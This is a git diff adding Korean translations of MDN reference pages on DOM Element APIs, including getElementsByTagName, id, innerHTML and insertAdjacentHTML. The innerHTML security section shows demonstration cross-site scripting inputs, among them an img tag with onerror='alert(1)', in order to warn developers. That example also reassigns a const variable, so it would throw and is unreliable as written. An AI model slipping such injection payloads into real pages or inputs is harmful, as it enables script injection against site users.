{{ APIRef("DOM") }}

+ +

Element.getElementsByTagName() 메서드는 제공된 태그 네임(tag name)을 가지는 엘리먼트의 유효한 {{domxref("HTML 컬랙션")}}를 반환합니다. 엘리먼트가 특정된 범위를 검색하는 경우, 그 자신의 엘리먼트는 제외하고, 특정된 엘리먼트의 하위에 있는 서브트리가 검색됩니다. 반환된 리스트가 live 상태이면,  리스트는 DOM 트리와 함께 자동적으로 업데이트 되는 것을 의미합니다. 결과적으로, 동일한 엘리먼트와 인자값으로 Element.getElementsByTagName()을 여러번 호출할 필요성은 없어집니다.

+ +

HTML 문서 내에서 HTML 엘리먼트가 호출되면, getElementsByTagName는 진행하기 전에 그 인자들을 소문자로 변환합니다. 따라서, 카멜케이스로 이루어진 SVG 엘리먼트를 HTML문서의 서브트리 내에서 매칭하고자 하는 경우에는 {{ domxref("Element.getElementsByTagNameNS()") }}을 사용해야 합니다.

+ +

Element.getElementsByTagName는 특정된 엘리먼트의 하위에 있는 엘리먼트 만을 검색하는 것으로 한정된 것을 제외하고는 {{domxref("Document.getElementsByTagName()")}}와 실질적으로 유사합니다.

+ +

문법

+ +
elements = element.getElementsByTagName(tagName)
+ + + +

Example 예제

+ +
// check the alignment on a number of cells in a table.
+var table = document.getElementById("forecast-table");
+var cells = table.getElementsByTagName("td");
+for (var i = 0; i < cells.length; i++) {
+    var status = cells[i].getAttribute("data-status");
+    if ( status == "open" ) {
+        // grab the data
+    }
+}
+
+ +

Specifications 명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-getelementsbytagname', 'Element.getElementsByTagName()')}}{{Spec2('DOM WHATWG')}}Changed the return value from {{domxref("NodeList")}} to {{domxref("HTMLCollection")}}
{{SpecName('DOM3 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}
{{SpecName('DOM1', 'level-one-core.html#ID-1938918D', 'Element.getElementsByTagName()')}}{{Spec2('DOM1')}}Initial definition
+ +

Browser compatibility 브라우저 호환성

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0 [2]{{ CompatVersionUnknown() }} [1]5.5{{ CompatVersionUnknown() }} [2]{{ CompatVersionUnknown() }} [2]
getElementsByTagName("*")1.0{{ CompatVersionUnknown() }}6.0{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }} [1]{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

[1] Prior to Firefox 19, this method was returning a {{domxref("NodeList")}}; it was then changed to reflect the spec change.

+ +

[1] Firefox 19 이전에는, 이 메서드는 {{domxref("NodeList")}};를 반환 했습니다. 그 후 사양의 변화를 반영하기 위해서 변경 되었습니다.

+ +

[2] Initially, this method was returning a {{domxref("NodeList")}}; it was then changed to reflect the spec change.

+ +

[2] 처음에는 이 메서드는 {{domxref("NodeList")}};를 반환 하였습니다. 그 후 사양의 변화를 반영하기 위해서 변경 되었습니다.

diff --git a/files/ko/web/api/element/id/index.html b/files/ko/web/api/element/id/index.html new file mode 100644 index 0000000000..9c9f343239 --- /dev/null +++ b/files/ko/web/api/element/id/index.html @@ -0,0 +1,67 @@ +--- +title: Element.id +slug: Web/API/Element/id +translation_of: Web/API/Element/id +--- +
{{ ApiRef("DOM") }}
+ +
 
+ +

Element.id 속성은 요소의 식별자를 나타내며, HTML의 전역적인 id 속성을 반영합니다.

+ +

이 값은 도큐먼트 내에서 유일해야 하며, 종종 {{domxref("document.getElementById", "getElementById")}}를 사용하여 요소를 찾아내는데 사용됩니다. id 속성을 이용하는 다른 보편적인 방법에는 CSS로 도큐먼트를 스타일링 할때 ID를 선택자로 사용하는 방법이 있습니다. 

+ +
+

Note: 식별자는 대소문자를 구분하지만, 그래도 ID를 대소문자만 다르게 생성해서는 안됩니다.  (클래스명과 식별자에서의 대소문자 구분참고).

+
+ +

Syntax

+ +
var idStr = elt.id; // 아이디를 가져옵니다.
+elt.id = idStr; // 아이디를 부여합니다
+
+ + + +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-id', 'id')}}{{Spec2('DOM WHATWG')}}No change from {{SpecName('DOM2 HTML')}}.
{{SpecName('DOM2 HTML', 'html.html#ID-63534901', 'id')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName('DOM1')}}.
{{SpecName('DOM1', 'level-one-html.html#ID-63534901', 'id')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Element.id")}}

+ +

See also

+ + diff --git a/files/ko/web/api/element/index.html b/files/ko/web/api/element/index.html new file mode 100644 index 0000000000..daaf1d7742 --- /dev/null +++ b/files/ko/web/api/element/index.html @@ -0,0 +1,306 @@ +--- +title: Element +slug: Web/API/Element +tags: + - API + - DOM + - Element + - Interface + - Reference +translation_of: Web/API/Element +--- +
{{APIRef("DOM")}}
+ +

Element는 {{domxref("Document")}} 안의 모든 객체가 상속하는 제일 범용적인 기반 클래스로 공통 메서드와 속성만 가지고 있으며, 특정 요소를 더 상세하게 표현하는 클래스가 Element를 상속합니다. 예를 들어 {{domxref("HTMLElement")}} 인터페이스는 HTML 요소의 기반 인터페이스이고 {{domxref("SVGElement")}} 인터페이스는 모든 SVG 요소의 기초입니다.

+ +

XUL의 XULElement처럼 웹 플랫폼 밖에서도 Element를 구현합니다.

+ +

{{InheritanceDiagram}}

+ +

속성

+ +

부모 인터페이스인 {{domxref("Node")}}와 그 부모인 {{domxref("EventTarget")}}의 속성을 상속합니다. {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, {{domxref("NonDocumentTypeChildNode")}}와 {{domxref("Animatable")}}의 속성을 구현합니다.

+ +
+
{{domxref("Element.attributes")}} {{readOnlyInline}}
+
HTML 요소에 할당한 속성을 담은 {{domxref("NamedNodeMap")}} 객체를 반환합니다.
+
{{domxref("Element.classList")}} {{readOnlyInline}}
+
요소의 클래스 속성 리스트를 담은 {{domxref("DOMTokenList")}}를 반환합니다.
+
{{domxref("Element.className")}}
+
요소의 클래스를 나타내는 {{domxref("DOMString")}}을 반환합니다.
+
{{domxref("Element.clientHeight")}} {{readOnlyInline}}
+
요소의 안쪽 높이를 나타내는 {{jsxref("Number")}}를 반환합니다.
+
{{domxref("Element.clientLeft")}} {{readOnlyInline}}
+
요소의 왼쪽 테두리 너비를 나타내는 {{jsxref("Number")}}를 반환합니다.
+
{{domxref("Element.clientTop")}} {{readOnlyInline}}
+
요소의 위쪽 테두리 너비를 나타내는 {{jsxref("Number")}}를 반환합니다.
+
{{domxref("Element.clientWidth")}} {{readOnlyInline}}
+
요소의 안쪽 너비를 나타내는 {{jsxref("Number")}}를 반환합니다.
+
{{domxref("Element.computedName")}} {{readOnlyInline}}
+
요소가 노출하는 접근성 라벨을 포함한 {{domxref("DOMString")}}을 반환합니다.
+
{{domxref("Element.computedRole")}} {{readOnlyInline}}
+
Returns a {{domxref("DOMString")}} containing the ARIA role that has been applied to a particular element.
+
{{ domxref("Element.id") }}
+
Is a {{domxref("DOMString")}} representing the id of the element.
+
{{ domxref("Element.innerHTML") }}
+
Is a {{domxref("DOMString")}} representing the markup of the element's content.
+
{{ domxref("Element.localName") }} {{readOnlyInline}}
+
A {{domxref("DOMString")}} representing the local part of the qualified name of the element.
+
{{domxref("Element.namespaceURI")}} {{readonlyInline}}
+
The namespace URI of the element, or null if it is no namespace. +
+

참고: Firefox 3.5 이하에서는 HTML 요소가 네임스페이스에 속해있지 않습니다. 이후 버전에서는 HTML과 XML 트리 모두에서 http://www.w3.org/1999/xhtml 네임스페이스를 사용합니다. {{ gecko_minversion_inline("1.9.2") }}

+
+
+
{{ domxref("NonDocumentTypeChildNode.nextElementSibling") }} {{readOnlyInline}}
+
Is an {{ domxref("Element") }}, the element immediately following the given one in the tree, or null if there's no sibling node.
+
{{ domxref("Element.outerHTML") }}
+
Is a {{domxref("DOMString")}} representing the markup of the element including its content. When used as a setter, replaces the element with nodes parsed from the given string.
+
{{ domxref("Element.prefix") }} {{readOnlyInline}}
+
A {{domxref("DOMString")}} representing the namespace prefix of the element, or null if no prefix is specified.
+
{{ domxref("NonDocumentTypeChildNode.previousElementSibling") }} {{readOnlyInline}}
+
Is a {{ domxref("Element") }}, the element immediately preceding the given one in the tree, or null if there is no sibling element.
+
{{ domxref("Element.scrollHeight") }} {{readOnlyInline}}
+
Returns a {{jsxref("Number")}} representing the scroll view height of an element.
+
{{ domxref("Element.scrollLeft") }}
+
Is a {{jsxref("Number")}} representing the left scroll offset of the element.
+
{{ domxref("Element.scrollLeftMax") }} {{non-standard_inline}} {{readOnlyInline}}
+
Returns a {{jsxref("Number")}} representing the maximum left scroll offset possible for the element.
+
{{ domxref("Element.scrollTop") }}
+
A {{jsxref("Number")}} representing number of pixels the top of the document is scrolled vertically.
+
{{ domxref("Element.scrollTopMax") }} {{non-standard_inline}} {{readOnlyInline}}
+
Returns a {{jsxref("Number")}} representing the maximum top scroll offset possible for the element.
+
{{ domxref("Element.scrollWidth") }} {{readOnlyInline}}
+
Returns a {{jsxref("Number")}} representing the scroll view width of the element.
+
{{domxref("Element.shadowRoot") }}{{readOnlyInline}}
+
Returns the open shadow root that is hosted by the element, or null if no open shadow root is present.
+
{{domxref("Element.openOrClosedShadowRoot")}} {{non-standard_inline}}{{readOnlyInline}}
+
Returns the shadow root that is hosted by the element, regardless if its open or closed. Available only to WebExtensions.
+
{{domxref("Element.slot")}} {{experimental_inline}}
+
Returns the name of the shadow DOM slot the element is inserted in.
+
{{domxref("Element.tabStop")}} {{non-standard_inline}}
+
Is a {{jsxref("Boolean")}} indicating if the element can receive input focus via the tab key.
+
{{ domxref("Element.tagName") }} {{readOnlyInline}}
+
Returns a {{jsxref("String")}} with the name of the tag for the given element.
+
{{ domxref("Element.undoManager")}} {{experimental_inline}} {{readOnlyInline}}
+
Returns the {{domxref("UndoManager")}} associated with the element.
+
{{ domxref("Element.undoScope")}} {{experimental_inline}}
+
Is a {{jsxref("Boolean")}} indicating if the element is an undo scope host, or not.
+
+ +
+

Note: DOM Level 3 명세는 namespaceURI, localName, prefix를 {{domxref("Node")}}에 정의했고, DOM4에서 Element로 옮겨졌습니다.

+ +

이 변경점은 Chrome 46.0과 Firefox 48.0부터 구현됐습니다.

+
+ +

Slotable 속성

+ +

Element 인터페이스는 {{domxref("Slotable")}} 믹스인에 정의된 다음 속성을 가집니다.

+ +
+
{{domxref("Slotable.assignedSlot")}}{{readonlyInline}}
+
Returns a {{domxref("HTMLSlotElement")}} representing the {{htmlelement("slot")}} the node is inserted in.
+
+ +

이벤트 처리기

+ +
+
{{domxref("Element.ongotpointercapture")}}
+
Returns the event handler for the {{event("gotpointercapture")}} event type.
+
{{domxref("Element.onlostpointercapture")}}
+
Returns the event handler for the {{event("lostpointercapture")}} event type.
+
+ +

메서드

+ +

부모 인터페이스인 {{domxref("Node")}}와 그 부모인 {{domxref("EventTarget")}}의 메서드를 상속합니다. {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, {{domxref("NonDocumentTypeChildNode")}}와 {{domxref("Animatable")}}의 메서드를 구현합니다.

+ +
+
{{ domxref("EventTarget.addEventListener()") }}
+
Registers an event handler to a specific event type on the element.
+
{{domxref("Element.attachShadow()")}}
+
Attatches a shadow DOM tree to the specified element and returns a reference to its {{domxref("ShadowRoot")}}.
+
{{domxref("Element.animate()")}} {{experimental_inline}}
+
A shortcut method to create and run an animation on an element. Returns the created Animation object instance.
+
{{ domxref("Element.closest()")}} {{experimental_inline}}
+
Returns the {{domxref("Element")}} which is the closest ancestor of the current element (or the current element itself) which matches the selectors given in parameter.
+
{{ domxref("Element.createShadowRoot()")}} {{non-standard_inline}} {{deprecated_inline}}
+
Creates a shadow DOM on on the element, turning it into a shadow host. Returns a {{domxref("ShadowRoot")}}.
+
{{domxref("Element.computedStyleMap()")}} {{experimental_inline}}
+
Returns a {{domxref("StylePropertyMapReadOnly")}} interface which provides a read-only representation of a CSS declaration block that is an alternative to {{domxref("CSSStyleDeclaration")}}.
+
{{ domxref("EventTarget.dispatchEvent()") }}
+
Dispatches an event to this node in the DOM and returns a {{jsxref("Boolean")}} that indicates whether no handler canceled the event.
+
{{domxref("Element.getAnimations()")}} {{experimental_inline}}
+
Returns an array of Animation objects currently active on the element.
+
{{ domxref("Element.getAttribute()") }}
+
Retrieves the value of the named attribute from the current node and returns it as an {{jsxref("Object")}}.
+
{{ domxref("Element.getAttributeNames()") }}
+
Returns an array of attribute names from the current element.
+
{{ domxref("Element.getAttributeNS()") }}
+
Retrieves the value of the attribute with the specified name and namespace, from the current node and returns it as an {{jsxref("Object")}}.
+
{{ domxref("Element.getBoundingClientRect()") }}
+
Returns the size of an element and its position relative to the viewport.
+
{{ domxref("Element.getClientRects()") }}
+
Returns a collection of rectangles that indicate the bounding rectangles for each line of text in a client.
+
{{ domxref("Element.getElementsByClassName()") }}
+
Returns a live {{ domxref("HTMLCollection") }} that contains all descendants of the current element that possess the list of classes given in the parameter.
+
{{ domxref("Element.getElementsByTagName()") }}
+
Returns a live {{ domxref("HTMLCollection") }} containing all descendant elements, of a particular tag name, from the current element.
+
{{ domxref("Element.getElementsByTagNameNS()") }}
+
Returns a live {{ domxref("HTMLCollection") }} containing all descendant elements, of a particular tag name and namespace, from the current element.
+
{{ domxref("Element.hasAttribute()") }}
+
Returns a {{jsxref("Boolean")}} indicating if the element has the specified attribute or not.
+
{{ domxref("Element.hasAttributeNS()") }}
+
Returns a {{jsxref("Boolean")}} indicating if the element has the specified attribute, in the specified namespace, or not.
+
{{ domxref("Element.hasAttributes()") }}
+
Returns a {{jsxref("Boolean")}} indicating if the element has one or more HTML attributes present.
+
{{DOMxRef("Element.hasPointerCapture()")}}
+
Indicates whether the element on which it is invoked has pointer capture for the pointer identified by the given pointer ID.
+
{{ domxref("Element.insertAdjacentElement()") }}
+
Inserts a given element node at a given position relative to the element it is invoked upon.
+
{{ domxref("Element.insertAdjacentHTML()") }}
+
Parses the text as HTML or XML and inserts the resulting nodes into the tree in the position given.
+
{{ domxref("Element.insertAdjacentText()") }}
+
Inserts a given text node at a given position relative to the element it is invoked upon.
+
{{ domxref("Element.matches()") }} {{experimental_inline}}
+
Returns a {{jsxref("Boolean")}} indicating whether or not the element would be selected by the specified selector string.
+
{{ domxref("Element.querySelector()") }}
+
Returns the first {{ domxref("Node") }} which matches the specified selector string relative to the element.
+
{{ domxref("Element.querySelectorAll()") }}
+
Returns a {{ domxref("NodeList") }} of nodes which match the specified selector string relative to the element.
+
{{ domxref("Element.releasePointerCapture()")}}
+
Releases (stops) pointer capture that was previously set for a specific {{domxref("PointerEvent","pointer event")}}.
+
{{domxref("ChildNode.remove()")}} {{experimental_inline}}
+
Removes the element from the children list of its parent.
+
{{ domxref("Element.removeAttribute()") }}
+
Removes the named attribute from the current node.
+
{{ domxref("Element.removeAttributeNS()") }}
+
Removes the attribute with the specified name and namespace, from the current node.
+
{{ domxref("EventTarget.removeEventListener()") }}
+
Removes an event listener from the element.
+
{{ domxref("Element.requestFullscreen()") }} {{experimental_inline}}
+
Asynchronously asks the browser to make the element full-screen.
+
{{ domxref("Element.requestPointerLock()")}} {{experimental_inline}}
+
Allows to asynchronously ask for the pointer to be locked on the given element.
+
{{domxref("Element.scroll()")}}
+
Scrolls to a particular set of coordinates inside a given element.
+
{{domxref("Element.scrollBy()")}}
+
Scrolls an element by the given amount.
+
+ +
+
{{ domxref("Element.scrollIntoView()") }} {{experimental_inline}}
+
Scrolls the page until the element gets into the view.
+
{{ domxref("Element.scrollTo()") }}
+
Scrolls to a particular set of coordinates inside a given element.
+
{{ domxref("Element.setAttribute()") }}
+
Sets the value of a named attribute of the current node.
+
{{ domxref("Element.setAttributeNS()") }}
+
Sets the value of the attribute with the specified name and namespace, from the current node.
+
{{ domxref("Element.setCapture()") }} {{non-standard_inline}}
+
Sets up mouse event capture, redirecting all mouse events to this element.
+
{{domxref("Element.setPointerCapture()")}}
+
Designates a specific element as the capture target of future pointer events.
+
{{domxref("Element.toggleAttribute()")}}
+
Toggles a boolean attribute, removing it if it is present and adding it if it is not present, on the specified element.
+
+ +

 

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Web Animations", '', '')}}{{Spec2("Web Animations")}}Added the getAnimationPlayers() method.
{{SpecName('Undo Manager', '', 'Element')}}{{Spec2('Undo Manager')}}Added the undoScope and undoManager properties.
{{SpecName('Pointer Events', '#extensions-to-the-element-interface', 'Element')}}{{Spec2('Pointer Events')}}Added the following event handlers: ongotpointercapture and onlostpointercapture.
+ Added the following methods: setPointerCapture() and releasePointerCapture().
{{SpecName('Selectors API Level 2', '#interface-definitions', 'Element')}}{{Spec2('Selectors API Level 2')}}Added the following methods: matches() (implemented as mozMatchesSelector()), find(), findAll().
{{SpecName('Selectors API Level 1', '#interface-definitions', 'Element')}}{{Spec2('Selectors API Level 1')}}Added the following methods: querySelector() and querySelectorAll().
{{SpecName('Pointer Lock', 'index.html#element-interface', 'Element')}}{{Spec2('Pointer Lock')}}Added the requestPointerLock() method.
{{SpecName('Fullscreen', '#api', 'Element')}}{{Spec2('Fullscreen')}}Added the requestFullscreen() method.
{{SpecName('DOM Parsing', '#extensions-to-the-element-interface', 'Element')}}{{Spec2('DOM Parsing')}}Added the following properties: innerHTML, and outerHTML.
+ Added the following method: insertAdjacentHTML().
{{SpecName('CSSOM View', '#extensions-to-the-element-interface', 'Element')}}{{Spec2('CSSOM View')}}Added the following properties: scrollTop, scrollLeft, scrollWidth, scrollHeight, clientTop, clientLeft, clientWidth, and clientHeight.
+ Added the following methods: getClientRects(), getBoundingClientRect(), and scrollIntoView().
{{SpecName('Element Traversal', '#ecmascript-bindings', 'Element')}}{{Spec2('Element Traversal')}}Added inheritance of the {{domxref("ElementTraversal")}} interface.
{{SpecName('DOM WHATWG', '#interface-element', 'Element')}}{{Spec2('DOM WHATWG')}}Removed the following methods: closest(), setIdAttribute(), setIdAttributeNS(), and setIdAttributeNode().
+ Removed the schemaTypeInfo property.
+ Modified the return value of getElementsByTag() and getElementsByTagNS().
+ Moved hasAttributes() form the Node interface to this one.
{{SpecName('DOM3 Core', 'core.html#ID-745549614', 'Element')}}{{Spec2('DOM3 Core')}}Added the following methods: setIdAttribute(), setIdAttributeNS(), and setIdAttributeNode(). These methods were never implemented and have been removed in later specifications.
+ Added the schemaTypeInfo property. This property was never implemented and has been removed in later specifications.
{{SpecName('DOM2 Core', 'core.html#ID-745549614', 'Element')}}{{Spec2('DOM2 Core')}}The normalize() method has been moved to {{domxref("Node")}}.
{{SpecName('DOM1', 'level-one-core.html#ID-745549614', 'Element')}}{{Spec2('DOM1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Element")}}

diff --git a/files/ko/web/api/element/innerhtml/index.html b/files/ko/web/api/element/innerhtml/index.html new file mode 100644 index 0000000000..6b9e4ce73c --- /dev/null +++ b/files/ko/web/api/element/innerhtml/index.html @@ -0,0 +1,204 @@ +--- +title: Element.innerHTML +slug: Web/API/Element/innerHTML +translation_of: Web/API/Element/innerHTML +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Element")}} 속성(property) innerHTML 은 요소(element) 내에 포함 된 HTML 또는 XML 마크업을 가져오거나 설정합니다.

+ +
주의: {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("noembed")}} 노드가 (&), (<), (>) 문자를 포함하는 텍스트 노드를 자식으로 가지고 있다면, innerHTML은 이러한 문자들을 각각 "&amp;""&lt;" ,"&gt;"로 반환합니다. {{domxref("Node.textContent")}}를 사용하여 이러한 텍스트 노드 내용의 원본을 복사할 수 있습니다.
+ +

요소(element)의 내용을 변경하는 대신 HTML을 문서(document)에 삽입하려면, {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}} 메서드를 사용하십시오.

+ +

Syntax

+ +
const content = element.innerHTML;
+
+element.innerHTML = htmlString;
+
+ +

Value

+ +

요소(element)의 자손의 HTML 직렬화를 포함하는 {{domxref("DOMString")}} 입니다. Setting the value of innerHTML 의 값을 설정(대입)하면 요소의 모든 자손이 제거되고, 문자열 htmlString에 지정된 HTML을 파싱하고, 생성된 노드로 대체합니다.

+ +

Exceptions

+ +
+
SyntaxError
+
HTML의 양식에 맞지 않는 문자열을 사용하여, innerHTML 의 값을 설정하려는 시도가 있었습니다.
+
NoModificationAllowedError
+
부모가 {{domxref("Document")}}인 노드에 HTML을 삽입하려고 했습니다.
+
+ +

Usage notes

+ +

innerHTML 속성(property)은 페이지가 처음 로드 된 이후의 모든 변경 사항을 포함하여, 페이지의 현재 HTML 소스를 검사하는데 사용할 수 있습니다.

+ +

Reading the HTML contents of an element

+ +

innerHTML 를 읽으면 유저 에이전트(user agent)가 요소의 자손으로 구성된 HTML 또는 XML조각을 직렬화 합니다. 그 결과는 문자열로 반환합니다.

+ +
let contents = myElement.innerHTML;
+ +

이를 통해 요소의 컨텐트 노드에 대한 HTML 마크업을 볼 수 있습니다.

+ +
+

주의: 반환 된 HTML, XML 파편은 요소의 현재 내용일 기반으로 생성됩니다. 따라서 반환 된 마크업과 양식이 본래의 페이지 마크업과 일치하지 않을 수 있습니다.

+
+ +

Replacing the contents of an element

+ +

innerHTML 값을 설정하면 요소의 기존 내용(content)을 새 내용으로 쉽게 변경할 수 있습니다.

+ +

예를 들어, 문서(document)의 {{domxref("Document.body", "body")}} 속성(attribute)을 지우면, 문서의 전체 내용을 지울 수 있습니다.

+ +
document.body.innerHTML = "";
+ +

이 예제는 문서의 현재 HTML 마크업을 가져오고, "<" 문자를 HTML 엔터티 "&lt;" 로 대체하합니다. 그러면 HTML을 원시 텍스트(raw text - 파싱 이전의 모습)로 반환합니다. 이것을 {{HTMLElement("pre")}} 요소로 래핑합니다. 그러면 innerHTML 값은 새 문자열로 변경됩니다. 그 결과, 문서의 내용은 페이지의 전체 소스 코드의 출력으로 대체됩니다.

+ +
document.documentElement.innerHTML = "<pre>" +
+         document.documentElement.innerHTML.replace(/</g,"&lt;") +
+            "</pre>";
+ +

Operational details

+ +

innerHTML 값을 설정할 때, 정확히 어떤 일이 발생하나요? 값을 설정하면, 유저 에이전트는 다음 단계를 따르게 됩니다.

+ +
    +
  1. 지정한 값은 HTML 또는 XML(문서 타입에 따라)로 파싱되어, {{domxref("DocumentFragment")}} 객체가 새 요소에 대한 새로운 노드 DOM 노드 집합을 나타냅니다.
  2. +
  3. 내용이 대체되는 요소가 {{HTMLElement("template")}} 요소 인 경우, <template> 요소의 {{domxref("HTMLTemplateElement.content", "content")}} 속성(attribute)은 1단계에서 작성한 새  DocumentFragment 로 대체됩니다.
  4. +
  5. 다른 모든 요소의 경우, 요소의 내용은 새 DocumentFragment 의 노드로 대체됩니다.
  6. +
+ +

Security considerations

+ +

innerHTML 이 웹 페이지에 텍스트를 삽입하는데 사용되는 것은 종종 볼 수 있습니다. 이것은 사이트의 공격 경로가 되어 잠재적인 보안 위험이 발생할 수 있습니다.

+ +
const name = "John";
+// assuming 'el' is an HTML DOM element
+el.innerHTML = name; // harmless in this case
+
+// ...
+
+name = "<script>alert('I am John in an annoying alert!')</script>";
+el.innerHTML = name; // harmless in this case
+ +

이것은 {{interwiki("wikipedia", "cross-site scripting")}} 공격처럼 보일 수 있지만, 결과는 무해합니다. HTML5 는 innerHTML 과 함께 삽입된 {{HTMLElement("script")}} 태그가 실행되지 않도록 지정합니다.

+ +

그러나 {{HTMLElement("script")}} 요소를 사용하지 않고, 자바스크립트를 실행하는 방법이 있으므로, innerHTML 을 사용하여 제어할 수 없는 문자열을 설정할 때 마다 여전히 보안위험이 있습니다. 예를들어:

+ +
const name = "<img src='x' onerror='alert(1)'>";
+el.innerHTML = name; // shows the alert
+ +

따라서 일반 텍스트를 삽입 할 때는 innerHTML 을 사용하지 않는 것이 좋습니다. 대신  {{domxref("Node.textContent")}}를 사용하십시오. 이것은 전달 된 내용을 HTML로 파싱하지 않고 원시 텍스트(raw text)로 삽입합니다.

+ +
+

경고: 프로젝트가 보안 점검을 거치게 되는 프로젝트인 경우, innerHTML 을 사용하면 코드가 거부 될 가능성이 높습니다. 예를 들어, 브라우저 확장에서  innerHTML을 사용하고 addons.mozilla.org에 확장을 제출하면 자동 검토 프로세스를 통과하지 못합니다.

+
+ +

Example

+ +

이 예제에서는 innerHTML 을 사용하여 메시지를 웹 페이지의 상자에 기록하는 매커니즘을 만듭니다.

+ +

JavaScript

+ +
function log(msg) {
+  var logElem = document.querySelector(".log");
+
+  var time = new Date();
+  var timeStr = time.toLocaleTimeString();
+  logElem.innerHTML += timeStr + ": " + msg + "<br/>";
+}
+
+log("Logging mouse events inside this container...");
+
+ +

log() 함수는 {{jsxref("Date.toLocaleTimeString", "toLocaleTimeString()")}}을 사용하여 {{jsxref("Date")}} 객체에서 현재 시간을 가져 오고, 타임 스탬프와 메시지 텍스트가 있는 문자열을 작성하여 로그 출력을 만듭니다. 그런 다음 메시지는 클래스 "log"가 있는 상자에 추가됩니다.

+ +

{{domxref("MouseEvent")}} 기반 이벤트 ({{event("mousedown")}}, {{event("click")}}, {{event("mouseenter")}}와 같은) 정보를 기록하는 두 번째 메서드를 추가합니다:

+ +
function logEvent(event) {
+  var msg = "Event <strong>" + event.type + "</strong> at <em>" +
+            event.clientX + ", " + event.clientY + "</em>";
+  log(msg);
+}
+ +

그리고나서, 우리의 로그가 들어있는 상자에 여러 마우스 이벤트에 대한 이벤트 핸들러로 사용합니다.

+ +
var boxElem = document.querySelector(".box");
+
+boxElem.addEventListener("mousedown", logEvent);
+boxElem.addEventListener("mouseup", logEvent);
+boxElem.addEventListener("click", logEvent);
+boxElem.addEventListener("mouseenter", logEvent);
+boxElem.addEventListener("mouseleave", logEvent);
+ +

HTML

+ +

HTML은 우리의 예제에서 아주 간단합니다.

+ +
<div class="box">
+  <div><strong>Log:</strong></div>
+  <div class="log"></div>
+</div>
+ +

클래스 "box"를 갖는 {{HTMLElement("div")}} 는 레이아웃을 위한 컨테이너 입니다. class가 "log" 인 <div> 는 로그 텍스트 자체의 컨테이너 입니다.

+ +

CSS

+ +

다음 CSS는 우리의 예제 내용을 꾸밉니다.

+ +
.box {
+  width: 600px;
+  height: 300px;
+  border: 1px solid black;
+  padding: 2px 4px;
+  overflow-y: scroll;
+  overflow-x: auto;
+}
+
+.log {
+  margin-top: 8px;
+  font-family: monospace;
+}
+ +

Result

+ +

결과 컨텐츠는 다음과 같습니다. 마우스를 상자 안팎으로 움직이거나 클릭하고 로그에서 출력을 볼 수 있습니다.

+ +

{{EmbedLiveSample("Example", 640, 350)}}

+ +

Specification

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM Parsing', '#dom-element-innerhtml', 'Element.innerHTML')}}{{Spec2('DOM Parsing')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Element.innerHTML")}}

+ +

See also

+ + diff --git a/files/ko/web/api/element/insertadjacenthtml/index.html b/files/ko/web/api/element/insertadjacenthtml/index.html new file mode 100644 index 0000000000..7b1cb1d4e5 --- /dev/null +++ b/files/ko/web/api/element/insertadjacenthtml/index.html @@ -0,0 +1,79 @@ +--- +title: Element.insertAdjacentHTML() +slug: Web/API/Element/insertAdjacentHTML +translation_of: Web/API/Element/insertAdjacentHTML +--- +
{{APIRef("DOM")}}
+ +

insertAdjacentHTML() 메서드는 HTML or XML 같은 특정 텍스트를 파싱하고, 특정 위치에 DOM tree 안에 원하는 node들을 추가 한다.  이미 사용중인 element 는 다시 파싱하지 않는다. 그러므로 element 안에 존재하는 element를 건드리지 않는다. (innerHtml은 과 좀 다름). innerHtml보다 작업이 덜 드므로 빠르다.

+ +

구문

+ +
element.insertAdjacentHTML(position, text);
+ +

position은 아래 있는 단어만 사용 가능하다.

+ +
+
'beforebegin'
+
element 앞에 
+
'afterbegin'
+
element 안에 가장 첫번째 child
+
'beforeend'
+
element 안에 가장 마지막 child
+
'afterend'
+
element 뒤에
+
+ +

text(인자)는 HTML 또는 XML로 해석될 수 있는 문자열이고(html code), (DOM) tree에 삽입할 수 있다.

+ +

position 의 예시 그림

+ +
<!-- beforebegin -->
+<p>
+<!-- afterbegin -->
+foo
+<!-- beforeend -->
+</p>
+<!-- afterend -->
+ +
Note:  beforebegin , afterend position은 element의 부모가 존재해야 하고, node가 tree 안에 있어야 한다.
+ +

예시

+ +
// <div id="one">one</div>
+var d1 = document.getElementById('one');
+d1.insertAdjacentHTML('afterend', '<div id="two">two</div>');
+
+// At this point, the new structure is:
+// <div id="one">one</div><div id="two">two</div>
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM Parsing', '#insertadjacenthtml()', 'Element.insertAdjacentHTML()')}}{{ Spec2('DOM Parsing') }} 
+ +

브라우저 호환성

+ +

{{Compat("api.Element.insertAdjacentHTML")}}

+ +

같이 보기

